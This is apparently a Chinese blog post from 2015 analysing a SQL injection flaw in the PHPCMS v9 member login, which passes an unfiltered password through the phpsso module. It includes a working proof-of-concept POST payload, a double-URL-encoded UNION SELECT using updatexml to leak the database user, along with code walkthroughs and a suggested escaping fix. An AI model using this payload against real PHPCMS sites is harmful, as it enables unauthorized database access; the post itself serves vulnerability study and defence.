PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

时间:2015-07-21 22:13:02   收藏:0   阅读:9134

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述
2. 漏洞触发条件

0x1: POC

http://localhost/phpcms_v9/index.php?m=member&c=index&a=login

dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
//验证时可以手工填写验证码、或者把代码中的验证码验证逻辑临时注释掉

技术分享

将"&username="进行url编码后作为password的值用于在phpsso中覆盖之前的username值,在"&username="后面添加进行两次url编码的SQL语句


3. 漏洞影响范围
4. 漏洞代码分析

\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php

if(isset($_POST[data])) 
        {
            /*
            将getapplist()结果赋值给$_POST[‘data‘],在auth_key解码之后使用parse_str解析成数组格式
            这段代码如果在php5.3之前的情况下是没有问题的,因为默认情况下parse_str会启动gpc机制对特殊字符进行转义
            但是在php5.3之后gpc机制默认就关闭掉了,这就导致如果解析出来的内容如果带有单引号这类个特殊字符,就原封不动的放到的变量中,这导致了注入的风险
            */
            parse_str(sys_auth($_POST[data], DECODE, $this->applist[$this->appid][authkey]), $this->data);
                    
            if(empty($this->data) || !is_array($this->data)) {
                exit(0);
            }
        } 
        else 
        {
            exit(0);
        }

继续跟进login行为的代码
\phpsso_server\phpcms\modules\phpsso\index.php

public function login() 
    {
        //$this->data的内容没有经过任何处理就直接参数到数据库查询当中,如果我们有auth_key的话,完全可以构造带有恶意的内容提交造成SQL注入漏洞
        $this->password = isset($this->data[password]) ? $this->data[password] : ‘‘;
        $this->email = isset($this->data[email]) ? $this->data[email] : ‘‘;
        if($this->email) {
            $userinfo = $this->db->get_one(array(email=>$this->email));
        } else {
            $userinfo = $this->db->get_one(array(username=>$this->username));
        }

要直接利用login逻辑进行SQL注入,需要黑客有auth_key,phpcms auth_key泄漏的漏洞相关知识,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/4624198.html

我们继续讨论黑客没有auth_key的情况,我们继续分析
\phpcms\modules\member\index.php
中的login方法

//username使用的is_username进行了过滤而password没有做任何处理
            $username = isset($_POST[username]) && is_username($_POST[username]) ? trim($_POST[username]) : showmessage(L(username_empty), HTTP_REFERER);
            $password = isset($_POST[password]) && trim($_POST[password]) ? trim($_POST[password]) : showmessage(L(password_empty), HTTP_REFERER);
            $cookietime = intval($_POST[cookietime]);
            $synloginstr = ‘‘; //同步登陆js代码
            
            if(pc_base::load_config(system, phpsso)) 
            {
                $this->_init_phpsso();
                //通过client的ps_member_login方法传入$username、$password获取一段数据
                $status = $this->client->ps_member_login($username, $password);
                $memberinfo = unserialize($status);

继续跟进ps_member_login
\phpcms\modules\member\classes\client.class.php

    public function ps_member_login($username, $password, $isemail=0) 
    {
        if($isemail) {
            if(!$this->_is_email($username)) {
                return -3;
            }
            $return = $this->_ps_send(login, array(email=>$username, password=>$password));
        } else {
            $return = $this->_ps_send(login, array(username=>$username, password=>$password));
        }
        return $return;
    }

    /**
     * 发送数据
     * @param $action 操作
     * @param $data 数据
     */
    private function _ps_send($action, $data = null) 
    {
        //_ps_post这个方法向phpsso机制的请求login行为,即member的认证本质是通过phpsso来完成的,同时而phpsso的认证数据是需要auth_key编码的
         return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
    }

攻击向量

1. 登录用户提交用户名和密码给menber的login
2. 然后member的login通过ps_member_login构造发送phpsso请求login验证的http包,并且将用户名和密码使用auth_key进行编码,作为http包的post数据
3. phpsso认证完成后,将用户的信息返回给member的login进行后续处理 
4. 在整个认证过程中,password没有做任何处理就直接传入phpsso,phpsso没有对于解码数据进行过滤,造成phpsso SQL注入问题


5. 防御方法

针对phpsso模块添加过滤代码,最好的方式应该是将转义和过滤放在数据库操作的前一步,这样可以极有效缓解SQL注入带来的问题
\phpcms\modules\member\index.php

$username = isset($_POST[username]) && is_username($_POST[username]) ? trim($_POST[username]) : showmessage(L(username_empty), HTTP_REFERER);
//$password = isset($_POST[‘password‘]) && trim($_POST[‘password‘]) ? trim($_POST[‘password‘]) : showmessage(L(‘password_empty‘), HTTP_REFERER);
/* 过滤、转义 */
$password = isset($_POST[password]) && trim($_POST[password]) ? addslashes(urldecode(trim($_POST[password]))) : showmessage(L(password_empty), HTTP_REFERER);
/**/

Relevant Link:

http://www.tang3.org/blog/2015/07/21/PHPCMS用户登陆SQL注入漏洞分析/


6. 攻防思考

Copyright (c) 2015 Little5ann All rights reserved

 

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!